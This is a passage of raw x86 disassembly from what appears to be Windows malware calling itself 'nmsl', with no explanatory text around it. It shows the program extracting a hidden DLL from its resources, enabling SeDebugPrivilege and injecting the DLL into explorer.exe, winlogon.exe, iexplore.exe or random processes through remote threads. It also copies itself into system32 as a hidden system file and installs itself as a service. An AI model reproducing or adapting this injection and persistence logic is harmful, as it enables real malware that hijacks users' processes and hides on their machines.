ebx, eax test ebx, ebx jle short loc_4474C8 cmp byte ptr [ebp-1], 2Ah jnz short loc_4474C8 push 1 lea eax, [ebp-1] push eax push esi call sub_442BF2 add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_4474C8 jmp short loc_447492 ; --------------------------------------------------------------------------- loc_4474C8: ; CODE XREF: DMN1:004474A9j ; DMN1:004474AFj ... push esi call sub_44292D pop ecx push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n" call nullsub_4 pop ecx push dword_412970 call dword_411D48 ; SetEvent call sub_44919B pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 call sub_4427C4 mov dword_411050, eax push offset aDlltestlistent ; "DLLTestListenThread: binding...\n" call nullsub_4 pop ecx push 0BB8h push 100007Fh push dword_411050 call sub_442A22 add esp, 0Ch test eax, eax jz short loc_447591 push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n" call nullsub_4 pop ecx push dword_411050 call sub_442A72 pop ecx test eax, eax jz short loc_447591 push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n" call nullsub_4 pop ecx push dword_411050 call sub_442A8C pop ecx mov [ebp-4], eax test eax, eax jz short loc_447591 mov eax, [ebp-4] push eax push 0 push offset sub_406010 call sub_44910B add esp, 0Ch mov [ebp-8], eax push eax call dword_411CFC ; CloseHandle push dword_411050 call sub_44292D pop ecx and dword_411050, 0 loc_447591: ; CODE XREF: DMN1:00447526j ; DMN1:00447541j ... cmp dword_411050, 0 jz short loc_4475A6 push dword_411050 call sub_44292D pop ecx loc_4475A6: ; CODE XREF: DMN1:00447598j push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n" call nullsub_4 pop ecx call sub_44919B mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4475BA proc near ; CODE XREF: sub_447B78+14p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_4475CC ; --------------------------------------------------------------------------- loc_4475C4: ; CODE XREF: sub_4475BA+14j call dword_411CC8 ; GetTickCount mov esi, eax loc_4475CC: ; CODE XREF: sub_4475BA+8j test esi, esi jz short loc_4475C4 mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_4475BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4475EE proc near ; CODE XREF: sub_4476F9+9Ep ; sub_4476F9+109p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_411058, 0 jz short loc_447616 push dword_411058 call dword_411CFC ; CloseHandle and dword_411058, 0 loc_447616: ; CODE XREF: sub_4475EE+13j push 0Ah push offset a8001 ; "#8001" push 0 call dword_411D58 ; FindResourceA mov esi, eax test eax, eax jz loc_4476F2 push esi push 0 call dword_411D5C ; SizeofResource mov [ebp+var_4], eax push [ebp+var_4] push offset aResourceHereSi ; "resource here, size: %i\n" call nullsub_4 pop ecx pop ecx push esi push 0 call dword_411D60 ; LoadResource mov [ebp+var_8], eax test eax, eax jz loc_4476F2 push [ebp+var_8] call dword_411D64 ; LockResource mov [ebp+var_C], eax test eax, eax jz loc_4476F2 push 80h push ebx call dword_411D2C ; SetFileAttributesA push offset aWb ; "wb+" push ebx call sub_448AFB pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_4476A2 push ebx push offset aFileSNotCreate ; "file <%s> NOT created\n" call nullsub_4 pop ecx pop ecx xor eax, eax jmp short loc_4476F2 ; --------------------------------------------------------------------------- loc_4476A2: ; CODE XREF: sub_4475EE+A1j push ebx push offset aFileSCreated ; "file <%s> created\n" call nullsub_4 pop ecx pop ecx push edi push 1 mov eax, [ebp+var_4] push eax push [ebp+var_C] call sub_448F5B add esp, 10h mov [ebp+var_10], eax push edi call sub_448D5B pop ecx push [ebp+var_10] push ebx push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n" call nullsub_4 add esp, 0Ch push 7 push ebx call dword_411D2C ; SetFileAttributesA cmp [ebp+var_10], 1 jz short loc_4476EF xor eax, eax jmp short loc_4476F2 ; --------------------------------------------------------------------------- loc_4476EF: ; CODE XREF: sub_4475EE+FBj xor eax, eax inc eax loc_4476F2: ; CODE XREF: sub_4475EE+3Bj ; sub_4475EE+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4475EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4476F9 proc near ; CODE XREF: DMN1:loc_447D4Cp var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h push ebp mov ebp, esp mov eax, 1004h call sub_448F2B cmp dword_411054, 0 jz short loc_44774F push offset aR ; "r" push offset dword_412974 call sub_448AFB pop ecx pop ecx mov [ebp+var_1004], eax test eax, eax jz short loc_44774F push offset dword_412974 push offset aOldDllS ; "old DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push [ebp+var_1004] call sub_448D5B pop ecx xor eax, eax inc eax jmp loc_447839 ; --------------------------------------------------------------------------- loc_44774F: ; CODE XREF: sub_4476F9+14j ; sub_4476F9+2Fj push offset dword_412974 push 0FFFh call dword_411D20 ; GetTempPathA push offset aNmsl_ ; "nmsl_" push offset dword_412974 call sub_448E8B pop ecx pop ecx push offset a000_tmp ; "000.tmp" push offset dword_412974 call sub_448E8B pop ecx pop ecx push offset dword_412974 push offset aCheckingDllS ; "checking DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push offset dword_412974 call sub_4475EE pop ecx test eax, eax jz short loc_4477C1 push offset dword_412974 push offset aDllFoundS ; " DLL found: <%s>\n" call nullsub_4 pop ecx pop ecx mov dword_411054, 1 xor eax, eax inc eax jmp short loc_447839 ; --------------------------------------------------------------------------- loc_4477C1: ; CODE XREF: sub_4476F9+A6j lea eax, [ebp+var_1000] push eax push 0FFFh call dword_411D20 ; GetTempPathA push offset dword_412974 push 0 push offset aNmsl_ ; "nmsl_" lea eax, [ebp+var_1000] push eax call dword_411D24 ; GetTempFileNameA push offset dword_412974 push offset aTryingDllS ; "trying DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push offset dword_412974 call sub_4475EE pop ecx test eax, eax jz short loc_44782C push offset dword_412974 push offset aDllOkS ; "DLL ok: <%s>\n" call nullsub_4 pop ecx pop ecx mov dword_411054, 1 xor eax, eax inc eax jmp short loc_447839 ; --------------------------------------------------------------------------- loc_44782C: ; CODE XREF: sub_4476F9+111j push offset aDllNotExtracte ; "DLL not extracted.\n" call nullsub_4 pop ecx xor eax, eax loc_447839: ; CODE XREF: sub_4476F9+51j ; sub_4476F9+C6j ... mov esp, ebp pop ebp retn sub_4476F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44783D proc near ; CODE XREF: sub_4479E1+6p ; sub_447AA9+12p ... var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_1C] push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 call dword_411E7C ; LookupPrivilegeValueA test eax, eax jz short loc_4478B3 call dword_411D68 ; GetCurrentProcess lea edx, [ebp+var_14] push edx push 28h push eax call dword_411E80 ; OpenProcessToken test eax, eax jz short loc_4478B3 mov [ebp+var_10], 1 mov eax, [ebp+var_1C] mov edx, [ebp+var_18] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], 2 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 10h lea eax, [ebp+var_10] push eax push 0 push [ebp+var_14] call dword_411E84 ; AdjustTokenPrivileges call dword_411CEC ; RtlGetLastWin32Error test eax, eax jz short loc_4478B0 xor eax, eax jmp short loc_4478B3 ; --------------------------------------------------------------------------- loc_4478B0: ; CODE XREF: sub_44783D+6Dj xor eax, eax inc eax loc_4478B3: ; CODE XREF: sub_44783D+19j ; sub_44783D+30j ... mov esp, ebp pop ebp retn sub_44783D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4478B7 proc near ; CODE XREF: sub_4479E1+34p var_1008 = byte ptr -1008h var_1004 = byte ptr -1004h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1008h call sub_448F2B push ebx push esi push edi push 40h push 1000h push 1000h push 0 push [ebp+arg_0] call dword_411D6C ; VirtualAllocEx mov esi, eax test eax, eax jz loc_4479DA push offset aVirtualallocex ; "VirtualAllocEx() ok\n" call nullsub_4 pop ecx lea ebx, [ebp+var_1000] mov byte ptr [ebx], 68h inc ebx mov eax, esi add eax, 50h mov [ebx], eax add ebx, 4 mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 40h mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 50h inc ebx mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 44h mov [ebx], eax push offset aKernel32_dll ; "kernel32.dll" call dword_411D70 ; GetModuleHandleA mov edi, eax lea ebx, [ebp+var_1000] add ebx, 40h push offset aLoadlibrarya ; "LoadLibraryA" push edi call dword_411D74 ; GetProcAddress mov [ebx], eax add ebx, 4 push offset aExitthread ; "ExitThread" push edi call dword_411D74 ; GetProcAddress mov [ebx], eax add ebx, 4 push offset aGetlasterror ; "GetLastError" push edi call dword_411D74 ; GetProcAddress mov [ebx], eax lea ebx, [ebp+var_1000] add ebx, 50h push [ebp+arg_4] push ebx call sub_448E6B pop ecx pop ecx lea eax, [ebp+var_1004] push eax push 1000h lea eax, [ebp+var_1000] push eax push esi push [ebp+arg_0] call dword_411D78 ; WriteProcessMemory test eax, eax jz short loc_4479DA push offset aWriteprocessme ; "WriteProcessMemory() ok\n" call nullsub_4 pop ecx push [ebp+arg_4] push offset aS ; "<%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp+var_1008] push eax push 0 push 0 push esi push 0 push 0 push [ebp+arg_0] call dword_411D7C ; CreateRemoteThread loc_4479DA: ; CODE XREF: sub_4478B7+2Bj ; sub_4478B7+EEj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4478B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4479E1 proc near ; CODE XREF: sub_447AA9+6Fp ; sub_447B78+5Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi call sub_44783D push [ebp+arg_0] push 0 push 1F0FFFh call dword_411D80 ; OpenProcess mov ebx, eax push offset aProcessOpened_ ; "process opened.\n" call nullsub_4 pop ecx test ebx, ebx jz loc_447AA1 push [ebp+arg_4] push ebx call sub_4478B7 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_447A9A push esi push offset aThreadInjected ; "thread injected (%i).\n" call nullsub_4 pop ecx pop ecx push 0FFFFFFFFh push esi call dword_411D38 ; WaitForSingleObject lea eax, [ebp+var_4] push eax push esi call dword_411D84 ; GetExitCodeThread push [ebp+var_4] push offset aThreadComplete ; "thread complete (%i).\n" call nullsub_4 pop ecx pop ecx push esi call dword_411CFC ; CloseHandle push ebx call dword_411CFC ; CloseHandle cmp [ebp+var_4], 20h jnb short loc_447A6A xor eax, eax jmp short loc_447AA3 ; --------------------------------------------------------------------------- loc_447A6A: ; CODE XREF: sub_4479E1+83j push [ebp+arg_4] push offset aDllInjected ; "DLL injected!\n" call nullsub_4 pop ecx pop ecx cmp dword_411058, 0 jz short loc_447A95 push dword_411058 call dword_411CFC ; CloseHandle and dword_411058, 0 loc_447A95: ; CODE XREF: sub_4479E1+9Fj xor eax, eax inc eax jmp short loc_447AA3 ; --------------------------------------------------------------------------- loc_447A9A: ; CODE XREF: sub_4479E1+3Fj push ebx call dword_411CFC ; CloseHandle loc_447AA1: ; CODE XREF: sub_4479E1+2Aj xor eax, eax loc_447AA3: ; CODE XREF: sub_4479E1+87j ; sub_4479E1+B7j pop esi pop ebx mov esp, ebp pop ebp retn sub_4479E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447AA9 proc near ; CODE XREF: DMN1:00447D66p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_44783D push 0 push 2 call sub_448497 ; CreateToolhelp32Snapshot mov edi, eax test eax, eax jz loc_447B71 mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_44849D ; Process32First loc_447AEA: ; CODE XREF: sub_447AA9+BDj lea eax, [ebp+var_104] push eax push ebx call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_447B57 push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithS ; "trying <%s> with <%s>\n" call nullsub_4 add esp, 0Ch push esi push [ebp+var_120] call sub_4479E1 pop ecx pop ecx test eax, eax jz short loc_447B42 lea eax, [ebp+var_104] push eax push offset aS ; "<%s>\n" call nullsub_4 pop ecx pop ecx push edi call dword_411CFC ; CloseHandle xor eax, eax inc eax jmp short loc_447B71 ; --------------------------------------------------------------------------- loc_447B42: ; CODE XREF: sub_447AA9+78j push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n" call nullsub_4 add esp, 0Ch loc_447B57: ; CODE XREF: sub_447AA9+51j lea eax, [ebp+var_128] push eax push edi call sub_4484A3 ; Process32Next test eax, eax jnz short loc_447AEA push edi call dword_411CFC ; CloseHandle xor eax, eax loc_447B71: ; CODE XREF: sub_447AA9+24j ; sub_447AA9+97j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_447AA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447B78 proc near ; CODE XREF: DMN1:00447D7Bp var_128 = dword ptr -128h var_120 = dword ptr -120h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] push offset dword_41105C call sub_4475BA pop ecx mov ecx, 100h cdq idiv ecx lea esi, [edx+1] call sub_44783D jmp short loc_447C10 ; --------------------------------------------------------------------------- loc_447BA4: ; CODE XREF: sub_447B78+9Aj push 0 push 2 call sub_448497 ; CreateToolhelp32Snapshot mov edi, eax test eax, eax jz short loc_447C16 mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_44849D ; Process32First loc_447BCA: ; CODE XREF: sub_447B78+8Fj dec esi test esi, esi jnz short loc_447BF8 push ebx push [ebp+var_120] call sub_4479E1 pop ecx pop ecx test eax, eax jz short loc_447BED push edi call dword_411CFC ; CloseHandle xor eax, eax inc eax jmp short loc_447C16 ; --------------------------------------------------------------------------- loc_447BED: ; CODE XREF: sub_447B78+67j push edi call dword_411CFC ; CloseHandle xor eax, eax jmp short loc_447C16 ; --------------------------------------------------------------------------- loc_447BF8: ; CODE XREF: sub_447B78+55j lea eax, [ebp+var_128] push eax push edi call sub_4484A3 ; Process32Next test eax, eax jnz short loc_447BCA push edi call dword_411CFC ; CloseHandle loc_447C10: ; CODE XREF: sub_447B78+2Aj test esi, esi jnz short loc_447BA4 xor eax, eax loc_447C16: ; CODE XREF: sub_447B78+39j ; sub_447B78+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_447B78 endp ; =============== S U B R O U T I N E ======================================= sub_447C1D proc near ; CODE XREF: DMN1:00447CC5p ; DMN1:00447D95p push ebx push dword_412970 call dword_411D54 ; ResetEvent push 0 push 0 push offset sub_406086 call sub_44910B add esp, 0Ch mov ebx, eax push 2710h mov eax, ebx push eax call dword_411D38 ; WaitForSingleObject test eax, eax jz short loc_447C72 push dword_411050 call sub_44292D pop ecx mov dword_411050, 1 mov eax, ebx push eax call dword_411CFC ; CloseHandle xor eax, eax jmp short loc_447C7E ; --------------------------------------------------------------------------- loc_447C72: ; CODE XREF: sub_447C1D+30j mov eax, ebx push eax call dword_411CFC ; CloseHandle xor eax, eax inc eax loc_447C7E: ; CODE XREF: sub_447C1D+53j pop ebx retn sub_447C1D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi call sub_444B61 test eax, eax jnz loc_447E66 call sub_444AC3 test eax, eax jnz loc_447E66 call sub_44783D push dword_412970 call dword_411D54 ; ResetEvent push 3E8h push dword_412970 call dword_411D38 ; WaitForSingleObject call sub_447C1D test eax, eax jz short loc_447CFE push 3E8h call dword_411D04 ; Sleep push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"... call nullsub_4 pop ecx push 0FFFFFFFFh push dword_412970 call dword_411D38 ; WaitForSingleObject push dword_412970 call dword_411D54 ; ResetEvent loc_447CFE: ; CODE XREF: DMN1:00447CCCj and dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 5 mov esi, [ebp-0Ch] loc_447D0C: ; CODE XREF: DMN1:00447E3Aj push dword_412970 call dword_411D54 ; ResetEvent cmp esi, 2 ja short loc_447D48 test esi, esi jz short loc_447D2D cmp esi, 1 jz short loc_447D36 cmp esi, 2 jz short loc_447D3F jmp short loc_447D4C ; --------------------------------------------------------------------------- loc_447D2D: ; CODE XREF: DMN1:00447D1Fj mov dword ptr [ebp-4], offset aIexplore_exe ; "iexplore.exe" jmp short loc_447D4C ; --------------------------------------------------------------------------- loc_447D36: ; CODE XREF: DMN1:00447D24j mov dword ptr [ebp-4], offset aExplorer_exe ; "explorer.exe" jmp short loc_447D4C ; --------------------------------------------------------------------------- loc_447D3F: ; CODE XREF: DMN1:00447D29j mov dword ptr [ebp-4], offset aWinlogon_exe ; "winlogon.exe" jmp short loc_447D4C ; --------------------------------------------------------------------------- loc_447D48: ; CODE XREF: DMN1:00447D1Bj and dword ptr [ebp-4], 0 loc_447D4C: ; CODE XREF: DMN1:00447D2Bj ; DMN1:00447D34j ... call sub_4476F9 test eax, eax jz loc_447E40 cmp esi, 2 ja short loc_447D71 push offset dword_412974 push dword ptr [ebp-4] call sub_447AA9 pop ecx pop ecx mov ebx, eax jmp short loc_447D8C ; --------------------------------------------------------------------------- loc_447D71: ; CODE XREF: DMN1:00447D5Cj mov edi, 64h loc_447D76: ; CODE XREF: DMN1:00447D8Aj push offset dword_412974 call sub_447B78 pop ecx mov ebx, eax test ebx, ebx jnz short loc_447D8C dec edi test edi, edi jg short loc_447D76 loc_447D8C: ; CODE XREF: DMN1:00447D6Fj ; DMN1:00447D85j inc esi test ebx, ebx jz loc_447E13 call sub_447C1D test eax, eax jz short loc_447E13 push 3E8h call dword_411D04 ; Sleep push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n" call nullsub_4 pop ecx jmp short loc_447DC3 ; --------------------------------------------------------------------------- loc_447DB6: ; CODE XREF: DMN1:00447DD9j call sub_444AC3 test eax, eax jnz loc_447E66 loc_447DC3: ; CODE XREF: DMN1:00447DB4j push 2BCh push dword_412970 call dword_411D38 ; WaitForSingleObject cmp eax, 102h jz short loc_447DB6 push dword_412970 call dword_411D54 ; ResetEvent mov esi, [ebp-0Ch] call sub_444AC3 test eax, eax jz short loc_447E08 push offset aDying ; "dying\n" call nullsub_4 pop ecx push 1 call sub_4491DB pop ecx jmp short loc_447E66 ; --------------------------------------------------------------------------- loc_447E08: ; CODE XREF: DMN1:00447DF1j push offset aDllStopped___ ; "DLL stopped...\n" call nullsub_4 pop ecx loc_447E13: ; CODE XREF: DMN1:00447D8Fj ; DMN1:00447D9Cj call sub_444B61 test eax, eax jnz short loc_447E66 cmp dword_411054, 0 jz short loc_447E37 push offset dword_412974 call sub_44928B pop ecx and dword_411054, 0 loc_447E37: ; CODE XREF: DMN1:00447E23j cmp esi, [ebp-8] jle loc_447D0C loc_447E40: ; CODE XREF: DMN1:00447D53j push offset aInjectionthrea ; "InjectionThread complete\n" call nullsub_4 pop ecx cmp dword_411054, 0 jz short loc_447E66 push offset dword_412974 call sub_44928B pop ecx and dword_411054, 0 loc_447E66: ; CODE XREF: DMN1:00447C90j ; DMN1:00447C9Dj ... call sub_44919B pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebx push 0 push 0 push 1 push 0 call dword_411D44 ; CreateEventA mov dword_412970, eax push 0 push 0 push offset sub_406815 call sub_44910B add esp, 0Ch mov ebx, eax push 0FFFFFFFFh mov eax, ebx push eax call dword_411D38 ; WaitForSingleObject mov eax, ebx push eax call dword_411CFC ; CloseHandle push 0 push 0 push offset sub_40356A call sub_44910B add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 1F4h call dword_411D04 ; Sleep push 0 push 0 push offset sub_404CDF call sub_44910B add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D38 ; WaitForSingleObject pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447EEC proc near ; CODE XREF: sub_448484+1p var_2004 = byte ptr -2004h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 2004h call sub_448F2B push ebx push esi push edi and [ebp+var_4], 0 xor esi, esi mov off_41295C, offset aNmsl ; "NMSL" call sub_4424A7 call sub_4425D0 call sub_442502 push offset dword_413974 call dword_411CCC ; InitializeCriticalSection call sub_4433F9 mov dword_412938, eax call dword_411D94 ; GetCommandLineA push eax call sub_442695 pop ecx cmp dword_411000, 4 jnz loc_44802A push offset aUpdate_0 ; "*update" push dword_4128AC call dword_411D3C ; lstrcmpi test eax, eax jnz loc_44802A call sub_444A6F mov [ebp+var_8], eax call sub_4455CD mov eax, dword_411018 push eax push [ebp+var_8] push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n" call nullsub_4 add esp, 0Ch push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n" call nullsub_4 pop ecx push 1770h call dword_411D04 ; Sleep call sub_446867 push 0FA0h call dword_411D04 ; Sleep call sub_446867 call sub_444AF0 and [ebp+var_C], 0 push dword_4128A8 push dword_4128B4 push dword_4128B0 push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n" call nullsub_4 add esp, 10h lea eax, [ebp+var_C] push eax push 1 push 0 push dword_4128B0 call sub_444B8E add esp, 10h test eax, eax jnz short loc_448023 push 0 push 1 push 0 push dword_4128B4 call sub_444B8E add esp, 10h test eax, eax jnz short loc_448023 push 0 push 1 push 0 push dword_4128A8 call sub_444B8E add esp, 10h test eax, eax jz short loc_44802A loc_448023: ; CODE XREF: sub_447EEC+105j ; sub_447EEC+11Dj xor eax, eax jmp loc_44847D ; --------------------------------------------------------------------------- loc_44802A: ; CODE XREF: sub_447EEC+58j ; sub_447EEC+71j ... call sub_445579 test eax, eax jz short loc_44803A xor eax, eax jmp loc_44847D ; --------------------------------------------------------------------------- loc_44803A: ; CODE XREF: sub_447EEC+145j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jz loc_44811D push offset aCopying___ ; "copying...\n" call nullsub_4 pop ecx push 80h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" call dword_411D2C ; SetFileAttributesA push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D28 ; CopyFileA test eax, eax jz loc_44810F push 7 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" call dword_411D2C ; SetFileAttributesA lea edi, [ebp+var_2004] mov byte ptr [edi], 22h inc edi push dword_4128A8 push edi call sub_448E6B pop ecx pop ecx push dword_4128A8 call sub_448E4B pop ecx add edi, eax mov byte ptr [edi], 22h inc edi mov byte ptr [edi], 0 inc edi lea eax, [ebp+var_2004] push eax push offset aCmdlineS ; "cmdline: <%s>\n" call nullsub_4 pop ecx pop ecx call sub_4455CD lea eax, [ebp+var_2004] push eax call sub_447325 pop ecx test eax, eax jz short loc_4480F4 xor eax, eax jmp loc_44847D ; --------------------------------------------------------------------------- loc_4480F4: ; CODE XREF: sub_447EEC+1FFj push offset aCreateprocessF ; "CreateProcess() failed %%-(\n" call nullsub_4 pop ecx call sub_445579 test eax, eax jz short loc_44811A xor eax, eax jmp loc_44847D ; --------------------------------------------------------------------------- loc_44810F: ; CODE XREF: sub_447EEC+197j push offset aCopyingFailed ; "copying failed %%-(\n" call nullsub_4 pop ecx loc_44811A: ; CODE XREF: sub_447EEC+21Aj xor esi, esi inc esi loc_44811D: ; CODE XREF: sub_447EEC+161j call sub_443701 call sub_446FFA push 0 push 0 call sub_443847 pop ecx pop ecx mov dword_411004, eax push offset aInitializingWi ; "initializing winsock library...\n" call nullsub_4 pop ecx call sub_442757 cmp dword_411000, 1 jle loc_4481EE mov eax, dword_4128AC cmp byte ptr [eax], 2Ah jz loc_4481EE push 80h push dword_4128AC call dword_411D2C ; SetFileAttributesA push dword_4128AC call dword_411D50 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4481D2 push dword_4128AC push offset aRemovingS ; "removing: <%s>\n" call nullsub_4 pop ecx pop ecx mov edi, 0Ah jmp short loc_4481CB ; --------------------------------------------------------------------------- loc_44819F: ; CODE XREF: sub_447EEC+2E4j push 80h push dword_4128AC call dword_411D2C ; SetFileAttributesA push dword_4128AC call dword_411D1C ; DeleteFileA test eax, eax jnz short loc_4481D2 push 3E8h call dword_411D04 ; Sleep loc_4481CB: ; CODE XREF: sub_447EEC+2B1j dec edi mov eax, edi test eax, eax jnz short loc_44819F loc_4481D2: ; CODE XREF: sub_447EEC+298j ; sub_447EEC+2D2j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_4481EE mov [ebp+var_4], 1 loc_4481EE: ; CODE XREF: sub_447EEC+262j ; sub_447EEC+270j ... push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_44824C push offset asc_40E58E ; "**" push dword_4128AC call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_44824C push offset aWaiting___ ; "*** waiting...\n" call nullsub_4 pop ecx mov edi, 0Ah loc_448228: ; CODE XREF: sub_447EEC+353j call sub_4464B3 test eax, eax jz short loc_448241 push 1F4h call dword_411D04 ; Sleep dec edi test edi, edi jnz short loc_448228 loc_448241: ; CODE XREF: sub_447EEC+343j push offset aWaitingComplet ; "*** waiting complete...\n" call nullsub_4 pop ecx loc_44824C: ; CODE XREF: sub_447EEC+315j ; sub_447EEC+32Aj call sub_4464B3 mov ebx, eax test ebx, ebx jnz short loc_4482A5 push offset aNoRegisteredSe ; "no registered service, " call nullsub_4 pop ecx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_44828E mov [ebp+var_4], 1 push offset aRegisterItAndR ; "register it and restart\n" call nullsub_4 pop ecx jmp loc_44832F ; --------------------------------------------------------------------------- loc_44828E: ; CODE XREF: sub_447EEC+389j push offset aDonTRegisterIt ; "DON'T register it\n" call nullsub_4 pop ecx and [ebp+var_4], 0 xor esi, esi inc esi jmp loc_44832F ; --------------------------------------------------------------------------- loc_4482A5: ; CODE XREF: sub_447EEC+369j push offset aRegisteredServ ; "registered service is here...\n" call nullsub_4 pop ecx call sub_4464FD test eax, eax jz short loc_4482C0 xor eax, eax jmp loc_44847D ; --------------------------------------------------------------------------- loc_4482C0: ; CODE XREF: sub_447EEC+3CBj push offset aRegisteredSe_0 ; "registered service is not running.\n" call nullsub_4 pop ecx call sub_44552E test eax, eax jnz short loc_44832F push offset aInstallingServ ; "installing service, res=" call nullsub_4 pop ecx call sub_446725 mov [ebp+var_8], eax push [ebp+var_8] push offset aI ; "%i\n" call nullsub_4 pop ecx pop ecx call sub_4468AC test eax, eax jnz short loc_448304 call sub_446982 loc_448304: ; CODE XREF: sub_447EEC+411j call sub_4455CD push offset aStartingServic ; "starting service...\n" call nullsub_4 pop ecx call sub_446651 test eax, eax jz short loc_448324 xor eax, eax jmp loc_44847D ; --------------------------------------------------------------------------- loc_448324: ; CODE XREF: sub_447EEC+42Fj push offset aRegisteredSe_1 ; "registered service is not running, unre"... call nullsub_4 pop ecx loc_44832F: ; CODE XREF: sub_447EEC+39Dj ; sub_447EEC+3B4j ... push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_448370 cmp [ebp+var_4], 0 jz short loc_448370 test ebx, ebx jnz short loc_448370 push offset aInstallingSe_0 ; "installing service...\n" call nullsub_4 pop ecx call sub_446725 test eax, eax jz short loc_448370 push offset aServiceInstall ; "service installed ok...\n" call nullsub_4 pop ecx xor ebx, ebx inc ebx loc_448370: ; CODE XREF: sub_447EEC+456j ; sub_447EEC+45Cj ... test ebx, ebx jz short loc_44837D call sub_44552E test eax, eax jz short loc_4483A7 loc_44837D: ; CODE XREF: sub_447EEC+486j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_4483D7 push offset asc_40E58E ; "**" push dword_4128AC call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_4483D7 loc_4483A7: ; CODE 